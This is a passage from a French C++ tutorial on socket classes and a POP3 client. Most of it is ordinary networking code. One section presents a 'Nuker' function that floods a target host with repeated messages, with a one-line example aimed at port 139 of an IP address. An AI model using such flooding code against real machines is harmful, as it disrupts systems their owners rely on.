  i = bind(srv, (struct sockaddr *)&monin6, sockaddr_in6_len);
  }*/

if (i == -1)
  {
  if (verbose)
   perror("\tServeur : Impossible d'associer la socket  une addresse ");
  close(srv);
  }
else
  {
  if (verbose) {
   AfficherHeure();
   cout << " : Serveur : Socket associ  une adresse\n";
   }
  }
} /*Ne fait pas partie d'une opration lmentaire*/


if (possible[0] != 2 || type != SOCK_STREAM) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Serveur : Impossible de se connecter, raisons possibles :\n\t* Le socket n'a pas t cr\n\t* Il s'agit d'un socket qui ne ncessite pas de connexion (SOCK_DGRAM, ...)\n");
  }
}
else
{
possible[1]++;

	if (listen(srv, 1) == -1) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose)
	  perror("\tServeur : Erreur sur listen avec la socket ");
	 close(srv);
	 }
	else
	 {
	 possible[1]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Serveur : Listen correctement ralis sur le port " << port << "\n\tAttente de connexion d'un client ... ... ...\n";
	  }

	 memset(&sonin, 0, sockaddr_in_len);
	 memset(&sonin6, 0, sockaddr_in6_len);

	 while (true)
	  {
	  if (domaine == PF_INET)
	   srv_cli_cnt = accept(srv, (struct sockaddr *)&sonin, &sockaddr_in_len);
	  /*else
	   srv_cli_cnt = accept(srv, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/

if (srv_cli_cnt == -1) /*---- Dbut Opration lmentaire 3 ----*/
{
if (verbose)
  perror("\tServeur : Erreur de socket ");
close(srv);
}
else
{
possible[1]++;
if (verbose) {
  AfficherHeure();
  cout << " : Serveur : Un client distant est connect\n";
  }

memset(&monin, 0, sockaddr_in_len);
memset(&monin6, 0, sockaddr_in6_len);

if (domaine == PF_INET)
  i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin, &sockaddr_in_len);
/*else
  i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin6, &sockaddr_in6_len);*/

	if (i == -1) /*---- Dbut Opration lmentaire 4 ----*/
	 {
	 if (verbose)
	  perror("\tServeur : Impossible d'obtenir des infos sur le serveur ");
	 }
	else
	 {
	 possible[1]++;
	 if (verbose) {
	  if (domaine == PF_INET)
	   {
	   cout << "\t\tFamille du socket local : " << monin.sin_family << endl;
	   cout << "\t\tPort du serveur (local) ouvert : " << ntohs(monin.sin_port) << endl;
	   if (inet_ntop(PF_INET, &monin.sin_addr, a, 256) == NULL)
	    cout << "\t\tImpossible de dterminer l'IP du serveur (local) ?!?!\n";
	   else
	    cout << "\t\tIP du serveur (local) : " << a << endl;
	   }
	  /*else
	   {
	   cout << "\t\tFamille du socket local : " << monin6.sin_family << endl;
	   cout << "\t\tPort du serveur (local) ouvert : " << ntohs(monin6.sin_port) << endl;
	   if (inet_ntop(PF_INET6, &monin6.sin_addr, a, 256) == NULL)
	    cout << "\t\tImpossible de dterminer l'IP du serveur (local) ?!?!\n";
	   else
	    cout << "\t\tIP du serveur (local) : " << a << endl;
	   }*/
	  }

	 memset(&sonin, 0, sockaddr_in_len);
	 memset(&sonin6, 0, sockaddr_in6_len);

	 if (domaine == PF_INET)
	  i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin, &sockaddr_in_len);
	 /*else
	  i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/

if (i == -1) /*---- Dbut Opration lmentaire 5 ----*/
{
if (verbose)
  perror("\tServeur : Impossible d'obtenir des infos sur le client ");
}
else
{
possible[1]++;
if (verbose) {
  if (domaine == PF_INET)
   {
   cout << "\t\tFamille du socket distant : " << sonin.sin_family << endl;
   cout << "\t\tPort du client (distant) ouvert : " << ntohs(sonin.sin_port) << endl;
   if (inet_ntop(PF_INET, &sonin.sin_addr, a, 256) == NULL)
    cout << "\t\tImpossible de dterminer l'IP du client (distant) ?!?!\n";
   else
    cout << "\t\tIP du client (distant) : " << a << endl;
   }
  /*else
   {
   cout << "\t\tFamille du socket distant : " << sonin6.sin_family << endl;
   cout << "\t\tPort du client (distant) ouvert : " << ntohs(sonin6.sin_port) << endl;
  if (inet_ntop(PF_INET6, &sonin6.sin_addr, a, 256) == NULL)
    cout << "\t\tImpossible de dterminer l'IP du client (distant) ?!?!\n";
   else
    cout << "\t\tIP du client (distant) : " << a << endl;
   }*/
  }
close (srv);
break; /*TRES IMPORTANT, sinon continue la boucle mme si un client s'est connect*/
} /*---- Fin Opration lmentaire 5 ----*/

	 } /*---- Fin Opration lmentaire 4 ----*/

} /*---- Fin Opration lmentaire 3 ----*/

	  } /*Fin while(1)*/

	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

delete[] a;

}




La grande diffrence avec le mthode du Client, est l'attente (listen puis une boucle infinie avec
connect).
Ne surtout pas oublier l'instruction break  la fin de la boucle infinie, pour qu'il ne continue pas
 attendre un client lorsqu'il en a trouv un !

A partir de maintenant, les fonctions seront presqu'identiques entre CClient et CServeur, je ne
montrarai donc que celles de Client.



Voici CClient::Envoyer()


void CClient::Envoyer(char *msg, long int taille)
{
possible[2] = 0;

if (possible[0] != 3 || (type == SOCK_STREAM && possible[1] != 5)) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client : Impossible d'envoyer, raisons possibles :\n\t* Le socket n'a pas t cr\n\t* Le socket a t cr mais n'est pas connect\n");
  }
taillebuffcli = 0;
}
else
{
possible[2]++;
if (type != SOCK_STREAM)
  {
  if (domaine == PF_INET)
   taillebuffcli = sendto(cli, msg, taille, 0, (struct sockaddr *)&sonin, sockaddr_in_len);
  /*else
   *taille = sendto(cli, msg, strlen(msg), 0, (struct sockaddr *)&sonin6, sockaddr_in6_len);*/
  }
else
  taillebuffcli = send(cli, msg, taille, 0);

	if (taillebuffcli < 1) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose)
	  perror("\tClient : Erreur d'envoi ");
	 }
	else
	 {
	 possible[2]++; /*---- Fin Opration lmentaire 2 ----*/
	 if (affichage == 1)
	  AfficherASCII(msg, taillebuffcli);
	 if (affichage == 2)
	  AfficherHexa(msg, taillebuffcli);
	 if (affichage == 3)
	  EnregDansFichier(msg, taillebuffcli, chemin, ajout);
	 }

} /*---- Fin Opration lmentaire 1 ----*/

}


C'est ici d'une simplicit lmentaire (oui OK j'exagre :) , je vous laisse
le soin de regarder ce court code. Voici CClient::Recevoir(), trs simple aussi :


void CClient::Recevoir(long int taillemin, long int taillemax)
{
long int i = 0;

if (taillemin > taillemax)
  taillemin = taillemax;

buffcli = new char[taillemax];

for (i=0; i<taillemax; i++)
buffcli[i] = '\0';

possible[3] = 0;

if (possible[0] != 3 || possible[1] != 5) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client : Impossible de reevoir, raisons possibles :\n\t* Le socket n'a pas t cr\n\t* Le socket a t cr mais n'est pas connect\n\t* Il s'agit d'un socket dont le mode client ne permet pas de reevoir (SOCK_DGRAM, ...)\n");
  }
taillebuffcli = 0;
}
else
{
possible[3]++;

CClient::Options(SOL_SOCKET, SO_RCVLOWAT, taillemin);

taillebuffcli = recv(cli, buffcli, taillemax, 0);

	if (taillebuffcli < 1) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose)
	  perror("\tClient : Erreur de rception ");
	 }
	else
	 {
	 possible[3]++; /*---- Fin Opration lmentaire 2 ----*/
	 if (affichage == 1)
	  AfficherASCII(buffcli, taillebuffcli);
	 if (affichage == 2)
	  AfficherHexa(buffcli, taillebuffcli);
	 if (affichage == 3)
	  EnregDansFichier(buffcli, taillebuffcli, chemin, ajout);
	 }

} /*---- Fin Opration lmentaire 1 ----*/

}



Et pour finir la dconnexion, encore plus simple, sans oublier la rinitialisation des Errorlevel
(j'aurais pu utiliser une boucle pour rinitialiser le tableau, mais il est possible que la boucle for
utilise beaucoup de cycles horloges et soit lgrement plus longue).



void CClient::Deconnecter()
{
possible[4] = 0;

if (possible[0] != 3 || possible[1] != 5) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client : Impossible de se dconnecter, raisons possibles\n\t* Le socket n'a pas t cr\n\t* Le socket a t cr mais n'est pas connect\n\t* Il s'agit d'un socket qui ne ncessite pas de connexion (SOCK_DGRAM, ...)\n");
  }
}
else
{
possible[4]++;
close(cli);
if (verbose) {
  AfficherHeure();
  cout << " : Client : Dconnexion\n";
  }
possible[0] = 0;
possible[1] = 0;
possible[2] = 0;
possible[3] = 0;
} /*---- Fin Opration lmentaire 1 ----*/

}




Je n'ai pas normment ce code, mais je l'ai espac, de plus si certains passages
vous semblent sombres, n'hsitez pas  me mailer (ou  mieux rediriger votre lampe
de bureau ;)

Maintenant regardons l'exemple rapide del'utilisation de la classe CServeur :


   verbose = true;
   CBazSocket *o_baz = new CServeur(25, PF_INET, SOCK_STREAM, 0, verbose, 2);


   /*Cration du socket*/
   o_baz->Creer();


   /*Optionnel, seulement si on veut configurer les options du socket*/
   if (type == SOCK_STREAM)
    o_baz->Options(SOL_SOCKET, SO_REUSEADDR, 1);
   else
    if (type == SOCK_DGRAM)
     o_baz->Options(SOL_SOCKET, IP_ADD_MEMBERSHIP, "224.0.0.0");


   /*Connexion si ncssaire*/
   o_baz->Connecter();


   /*Rception de donnes*/
   o_baz->AfficherHeure();
   cout << " : Serveur : Ecoute\nSaisir le mot-cl de votre choix, qui permet, lorsqu'il est reu, d'arrter l'coute\n";
   cin >> msgquit;
   cout << "Ecoute active ... ... (elle sera termine  la rception du mot '" << msgquit << "')\n\n";
   do
    {
    o_baz->Recevoir(0, 102400);
    } while (strcmp(o_baz->buffsrv, msgquit) && strcmp(o_baz->buffsrv, strcat(msgquit, "\n")) && o_baz->possible[3] == 2);


   /*Envoi de donnes si possible*/
   o_baz->AfficherHeure();
   cout << " : Serveur : Envoi\nSaisir le mot-cl de votre choix, qui permet, lorsqu'il est tap, d'arrter l'envoi\n";
   cin >> msgquit;
   cout << "\t\tTapez maintenant les phrases  envoyer, validez par [Entre]\n\t\tflche droite pour les espaces, '" << msgquit << "' pour quitter\n\n";
   do
    {
    fgets(msg, 102400, stdin);
    o_baz->Envoyer(msg, strlen(msg));
    } while (strcmp(msg, msgquit) && o_baz->possible[2] == 2);


   /*Dconnexion si ncssaire*/
   o_baz->Deconnecter();


Etudions maintenant des Classes utilisant CClient et CServeur







    III. Programmes et Protocoles :
    _______________________________


Nous tudierons une mthode de CApplications, et une de classe de protocole
( je n'ai implment que le protocole POP3 pour l'instant ). Chaque protocole
a une classe qui lui est ddie, contrairement aux applications qui n'ont qu'une
fonction membre.



Etudions la fonction membre Nuker de la classe CApplications :

void CApplications::Nuker(char *nomserveur, char *msg, unsigned short int port, unsigned long int nbrfois)
{
unsigned long int i = 0;
long int j = 0;
char *a = new char[256];

possible[0] = 0;

o_baz = new CInformations(verbose, 1);
o_baz->Serveur(nomserveur);

if (o_baz->he == NULL) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Nuker : Impossible d'obtenir des infos sur l'hte  scanner\n");
  }
}
else
{
possible[0]++;

	if (inet_ntop(PF_INET, (in_addr *)o_baz->he->h_addr_list[0], a, 256) == NULL) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 /*if (inet_ntop(PF_INET6, (in6_addr *)o_baz->he->h_addr_list[0], a, 256) != NULL)
	  {
	  possible[0]++;
	  o_baz = new CClient(a, port, 0, PF_INET6, SOCK_STREAM, 0, verbose, 1);
	  }*/
	 }
	else
	 {
	 possible[0]++;
	 o_baz = new CClient(a, port, 0, PF_INET, SOCK_STREAM, 0, verbose, 1);

	 } /*---- Fin Opration lmentaire 2 ----*/

o_baz->Creer();

o_baz->Connecter();

if (o_baz->possible[1] != 5) /*---- Dbut Opration lmentaire 3 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Nuker : Impossible de se connecter\n");
  }
}
else
{
possible[0]++;

	for (i=0; i<nbrfois && o_baz->possible[2] == 2; i++) /*---- Dbut Opration lmentaire 4 ----*/
	 {
	 o_baz->Envoyer(msg, strlen(msg));
	 if (o_baz->taillebuffcli > 0 && verbose)
	  {
	  AfficherHeure();
	  cout << "(Envoi n" << i+1 << ")\n";
	  }
	 else
	  {
	  if (verbose)
	   fprintf(stderr, "erreur d'envoi\n");
	  }
	 }

	 o_baz->Deconnecter();

	 if (verbose) {
	  AfficherHeure();
	  cout << " : Nuker : Nuke de la machine " << nomserveur << " russi\n";
	  }

	 possible[0]++; /*---- Fin Opration lmentaire 4 ----*/

} /*---- Fin Opration lmentaire 3 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

delete[] a;
}


Il s'agit d'un bte nuker pas spcialement optimis (pour cel il faut le faire en C), mais qui prsente
l'avantage d'une relle simplicit. En effet on peut crer un nuker en 1 ligne de code en utilisant cette
classe :

CBazSocket *o_baz = new CApplications(true, 2);
o_baz->Nuker(156.123.12.76, "hihihihihi", 139, 10000);

Enverra 10000 fois le message "hihihihihi"  156.123.12.76 sur son port 139.
Facile non ?


Maintenant tudions la mise en oeuvre du protocole POP3, que j'ai ralis en lisant la RFC 1939.





Voici la dfinition de la classe CPOP3 :

class CPOP3 : public CBazSocket
{
public :
CPOP3(bool verbose = true, short int affichage = 1);
virtual ~CPOP3();

virtual void	ClientPOP3_Connecter(char *nomserveur); /*possible[0] // 4 oprations lmentaires*/
virtual void	ClientPOP3_UserPass(char *user, char *pass); /*possible[1] // 3 oprations lmentaires*/
//virtual void	ClientPOP3_APOP(char *user, char *pass); /*possible[1] // x oprations lmentaires*/

virtual void	ClientPOP3_Stats(); /*possible[2] // x oprations lmentaires*/
virtual void	ClientPOP3_Lister(unsigned long int numero = 0); /*possible[2] // x oprations lmentaires*/
					/*Mettez 0 comme argument (ou bien aucun argument) pour tout lister*/
virtual void	ClientPOP3_VoirEnTete(unsigned short int numero = 1, unsigned long int nbrlignes = 0); /*possible[2] // x oprations lmentaires*/
virtual void	ClientPOP3_AfficherMail(unsigned short int numero = 1, long int taillemin = 10, long int taillemax = 10); /*possible[2] // x oprations lmentaires*/
virtual void	ClientPOP3_EffacerMail(unsigned short int numero = 0); /*possible[2] // x oprations lmentaires*/
virtual void	ClientPOP3_RestaurerTous(); /*possible[2] // x oprations lmentaires*/
virtual void	ClientPOP3_Quitter(); /*possible[2] // x oprations lmentaires*/

virtual void	ServeurPOP3();

private :
CBazSocket	*o_baz;
bool		ClientPOP3_Recevoir(long int taillemin, long int taillemax);
struct listage
  {
  short int	nbrmails;
  short int	*taillesmails;
  };
};





Vous remarquerez le membre private *o_baz, qui est un pointeur vers un objet de la classe de base, afin
d'utiliser CClient.
Nous allons nous intresser au client POP3, qui doit se connecter  un serveur POP3. Pour tester mon client
POP3 sans tre constamment sur le Net, j'ai aussi cr le serveur POP3, qui est donc un environnement de
test pour le client, mais qui ne nous intressera pas ici.
A noter que comme pour les Rseau de Neurones, l'environnement de test est aussi dur  raliser que
le Rseau de Neurones en lui-mme (bon c'tait pas tout  fait le cas ici malgr tout ;)



Etudions la premire fonction, Connecter() :


void CPOP3::ClientPOP3_Connecter(char *nomserveur)
{
buffpop3 = new char[256];

possible[0] = 0;

o_baz = new CInformations(verbose);
o_baz->Serveur(nomserveur);

if (o_baz->he == NULL) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3 : Impossible d'obtenir des infos sur le serveur POP3\n");
  }
}
else
{
possible[0]++;

	if (inet_ntop(PF_INET, (in_addr *)o_baz->he->h_addr_list[0], buffpop3, 256) == NULL) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 /*if (inet_ntop(PF_INET6, (in6_addr *)o_baz->he->h_addr_list[0], buffpop3, 256) != NULL)
	  {
	  possible[0]++;
	  o_baz = new CClient(a, 110, 0, PF_INET6, SOCK_STREAM, 0, false, 2);
	  }*/
	 }
	else
	 {
	 possible[0]++;
	 o_baz = new CClient(buffpop3, 110, 0, PF_INET, SOCK_STREAM, 0, verbose, 2);
	 } /*---- Fin Opration lmentaire 2 ----*/

o_baz->Creer();

o_baz->Options(SOL_SOCKET, SO_RCVBUF, 102400);

o_baz->Connecter();

if (o_baz->possible[1] != 5) /*---- Dbut Opration lmentaire 3 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3 : Impossible de se connecter sur %s\n", nomserveur);
  }
}
else
{
possible[0]++;
if (verbose) {
  AfficherHeure();
  cout << " : Client POP3 : Connexion russie sur " << nomserveur << endl;
  }


	if (! ClientPOP3_Recevoir(0, 256)) /*---- Dbut Opration lmentaire 4 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : Erreur\n\t");
	  }
	 }
	else
	 {
	 possible[0]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : +OK\n\t";
	  }

	 } /*---- Fin Opration lmentaire 4 ----*/

} /*---- Fin Opration lmentaire 3 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

}


On recherche donc d'abord le serveur grce  la classe CInformations, et plus prcisment
sa fonction membre Serveur() (informations sur un serveur).
Ensuite on rutilise le pointeur de la classe de base pour stocker un objet de type CClient.


Puis ce client se connecte tout simplement au serveur POP3 !





Voici maintenant la mthode permettant de s'identifier :

void CPOP3::ClientPOP3_UserPass(char *user, char *pass)
{
buffpop3 = new char[256];
short int afftmp = o_baz->affichage;

possible[1] = 0;

if (possible[0] != 4) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3: Impossible de s'identifier, raisons possibles\n\t* Vous n'tes pas connect au serveur POP3\n");
  }
}
else
{
possible[1]++;
if (verbose) {
printf("\n");
  AfficherHeure();
  cout << " : Soumission du nom d'utilisateur " << user << endl;
  }
sprintf(buffpop3, "USER %s\r\n", user);
o_baz->Envoyer(buffpop3, strlen(buffpop3));

	if (! ClientPOP3_Recevoir(0, 256)) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : L'user %s est inconnu\n\t", user);
	  }
	 }
	else
	 {
	 possible[1]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : User OK\n\t";
	  }

	 if (verbose) {
	 printf("\n");
	  AfficherHeure();
	  cout << " : Soumission du mot de passe " << endl;
	  }
	 sprintf(buffpop3, "PASS %s\r\n", pass);
	 o_baz->affichage = 0; /*Ne pas afficher le pass envoyer*/
	 o_baz->Envoyer(buffpop3, strlen(buffpop3));
	 o_baz->affichage = afftmp;


if (! ClientPOP3_Recevoir(0, 256)) /*---- Dbut Opration lmentaire 3 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3 : Le password est mauvais\n\t");
  }
}
else
{
possible[1]++;
if (verbose) {
  AfficherHeure();
  cout << " : Client POP3 : Password OK\n\t";
  }


CPOP3::ClientPOP3_Lister();


} /*---- Fin Opration lmentaire 3 ----*/

	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

memset(pass, 0, strlen(pass)+1); /*Effacement total du mot de passe*/
memset(buffpop3, 0, strlen(buffpop3)+1); /*Effacement total du mot de passe*/
}


La RFC indique que le client doit envoyer la commande USER nomutilisateur\r\n
puis PASS password\r\n, ce que fait donc cette mthode en utilisant ses arguments.


void CPOP3::ClientPOP3_Stats()
{
buffpop3 = new char[256];

possible[2] = 0;

if (possible[0] != 4 || possible[1] != 3) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3: Impossible d'afficher les statistiques de votre compte, raisons possibles\n\t* Vous n'tes pas connect au serveur POP3\n\t* Le nom d'utilisateur est rron\n\t* Le mot de passe est rron\n");
  }
}
else
{
possible[2]++;
if (verbose) {
  printf("\n");
  AfficherHeure();
  cout << " : Soumission de la requte de statistiques du compte\n";
  }
sprintf(buffpop3, "STAT\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));

	if (! ClientPOP3_Recevoir(0, 10240)) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : Impossible de reevoir les statistiques du compte\n\t");
	  }
	 }
	else
	 {
	 possible[2]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : Statistiques reues\n\t";
	  }

	 if (verbose) {
	  printf("\n");
	  AfficherHeure();
	  cout << " : Soumission de la requte de statistiques des messages\n";
	  }
	 sprintf(buffpop3, "UIDL\r\n");
	 o_baz->Envoyer(buffpop3, strlen(buffpop3));

if (! ClientPOP3_Recevoir(0, 10240)) /*---- Dbut Opration lmentaire 3 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3 : Impossible de reevoir les staistiques des messages\n\t");
  }
}
else
{
possible[2]++;
if (verbose) {
  AfficherHeure();
  cout << " : Client POP3 : Statistiques reues\n\t";
  }

} /*---- Fin Opration lmentaire 3 ----*/

	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

}




Les commandes STAT\r\n et UIDL\r\n font partie de la RFC, et permettent d'obtenir des informations
 propos des messages ou du compte.



Maintenant listons nos mails, avec la commande LIST de la RFC :

void CPOP3::ClientPOP3_Lister(unsigned long int numero)
{
buffpop3 = new char[256];

possible[2] = 0;

if (possible[0] != 4 || possible[1] != 3) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3: Impossible de lister vos mails, raisons possibles\n\t* Vous n'tes pas connect au serveur POP3\n\t* Le nom d'utilisateur est rron\n\t* Le mot de passe est rron\n");
  }
}
else
{
possible[2]++;
if (verbose) {
  printf("\n");
  AfficherHeure();
  cout << " : Soumission de la requte de listage\n";
  }
if (numero > 0)
  sprintf(buffpop3, "LIST %d\r\n", numero);
else
  sprintf(buffpop3, "LIST\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));

	if (! ClientPOP3_Recevoir(0, 10240)) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : Impossible de lister les mails\n\t");
	  }
	 }
	else
	 {
	 possible[2]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : Listage OK\n\t";
	  }
	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

;
}

Puis voyons l'en-tte d'un mail donn avec la commande optionnelle de la RFC, mais en gnrale
implmente dans les serveurs,  savoir TOP :

void CPOP3::ClientPOP3_VoirEnTete(unsigned short int numero, unsigned long int nbrlignes)
{
buffpop3 = new char[256];

possible[2] = 0;

if (possible[0] != 4 || possible[1] != 3) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3: Impossible d'afficher l'en-tte du mail n %d, raisons possibles\n\t* Vous n'tes pas connect au serveur POP3\n\t* Le nom d'utilisateur est rron\n\t* Le mot de passe est rron\n", numero);
  }
}
else
{
possible[2]++;
if (verbose) {
  printf("\n");
  AfficherHeure();
  cout << " : Soumission de la requte pour voir l'en-tte du mail " << numero << "\n";
  }
sprintf(buffpop3, "TOP %d %d\r\n", numero, nbrlignes);
o_baz->Envoyer(buffpop3, strlen(buffpop3));

	if (! ClientPOP3_Recevoir(0, 102400)) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : Impossible de voir l'en-tte\n\t");
	  }
	 }
	else
	 {
	 possible[2]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : En-tte du mail n " << numero << " reue\n\t";
	  }
	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

;
}




Et la commande la plus importante, AfficherMail, grce  RETR.
Analysez, vous verrez que c'est facile !



void CPOP3::ClientPOP3_AfficherMail(unsigned short int numero, long int taillemin, long int taillemax)
{
buffpop3 = new char[256];

possible[2] = 0;

if (possible[0] != 4 || possible[1] != 3 || taillemax < 4) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3: Impossible d'afficher le mail n %d, raisons possibles\n\t* Vous n'tes pas connect au serveur POP3\n\t* Le nom d'utilisateur est rron\n\t* Le mot de passe est rron\n\t* Moins de 4 octets seront reus !", numero);
  }
}
else
{
possible[2]++;
if (verbose) {
  printf("\n");
  AfficherHeure();
  cout << " : Soumission de la requte pour afficher le mail " << numero << "\n";
  }
sprintf(buffpop3, "RETR %d 0\r\n", numero);
o_baz->Envoyer(buffpop3, strlen(buffpop3));

	if (! ClientPOP3_Recevoir(taillemin, taillemax)) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : Impossible d'afficher ce mail\n\t");
	  }
	 }
	else
	 {
	 possible[2]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : Mail n " << numero << " reu\n\t";
	  }
	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

}




La fonction qui va suivre permet d'effacer un mail de la moire, puis du disque du serveur si
vous le quittez proprement (commande DELE) :



void CPOP3::ClientPOP3_EffacerMail(unsigned short int numero)
{
buffpop3 = new char[256];

possible[2] = 0;

if (possible[0] != 4 || possible[1] != 3) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3: Impossible d'effacer vos mails, raisons possibles\n\t* Vous n'tes pas connect au serveur POP3\n\t* Le nom d'utilisateur est rron\n\t* Le mot de passe est rron\n");
  }
}
else
{
possible[2]++;
if (verbose) {
  printf("\n");
  AfficherHeure();
  cout << " : Soumission de la requte d'effacement du mail " << numero << endl;
  }
sprintf(buffpop3, "DELE %d\r\n", numero);
o_baz->Envoyer(buffpop3, strlen(buffpop3));

	if (! ClientPOP3_Recevoir(0, 10240)) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : Impossible d'effacer le mail n%d\n\t", numero);
	  }
	 }
	else
	 {
	 possible[2]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : Le mail n" << numero << " sera bien effac lorsque vous quitterez proprement le serveur\n\t";
	  }
	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

}




Cette fonction RestaurerTous annule tous les appels  la prcdente (commande RSET) :



void CPOP3::ClientPOP3_RestaurerTous()
{
buffpop3 = new char[256];

possible[2] = 0;

if (possible[0] != 4 || possible[1] != 3) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3: Impossible de restaurer vos mails, raisons possibles\n\t* Vous n'tes pas connect au serveur POP3\n\t* Le nom d'utilisateur est rron\n\t* Le mot de passe est rron\n");
  }
}
else
{
possible[2]++;
if (verbose) {
  printf("\n");
  AfficherHeure();
  cout << " : Soumission de la requte de rcupration de tous les mails\n";
  }
sprintf(buffpop3, "RSET\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));

	if (! ClientPOP3_Recevoir(0, 256)) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : Impossible de restaurer vos mails\n\t");
	  }
	 }
	else
	 {
	 possible[2]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : Tous vos mails ont t restaurs et ne seront pas effacs lorsque vous quitterez\n\t";
	  }
	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

}


Et enfinl acommande QUIT\r\n qui permet de quitter proprement un serveur POP3 :

void CPOP3::ClientPOP3_Quitter()
{
buffpop3 = new char[256];

possible[2] = 0;

if (possible[0] != 4 || possible[1] != 3) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client POP3: Impossible de quitter votre compte, raisons possibles\n\t* Vous n'tes pas connect au serveur POP3\n\t* Le nom d'utilisateur est rron\n\t* Le mot de passe est rron\n");
  }
}
else
{
possible[2]++;
if (verbose) {
  printf("\n");
  AfficherHeure();
  cout << " : Soumission de la requte pour quitter\n";
  }
sprintf(buffpop3, "QUIT\r\n");
o_baz->Envoyer(buffpop3, strlen(buffpop3));

	if (! ClientPOP3_Recevoir(0, 256)) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client POP3 : Impossible de quitter proprement le serveur\n\t");
	  }
	 }
	else
	 {
	 possible[2]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Client POP3 : Serveur quitt proprement\n\t";
	  }
	 } /*---- Fin Opration lmentaire 2 ----*/

o_baz->Deconnecter();

} /*---- Fin Opration lmentaire 1 ----*/

}




Et voici la fonction private utilise en tant que surcouche de CClient::Recevoir() :




bool CPOP3::ClientPOP3_Recevoir(long int taillemin, long int taillemax)
{
do
{
o_baz->Recevoir(taillemin, taillemax);

if (o_baz->taillebuffcli > 0)
  {
  if (! strncmp(o_baz->buffcli, "+OK", 3))
   return true;
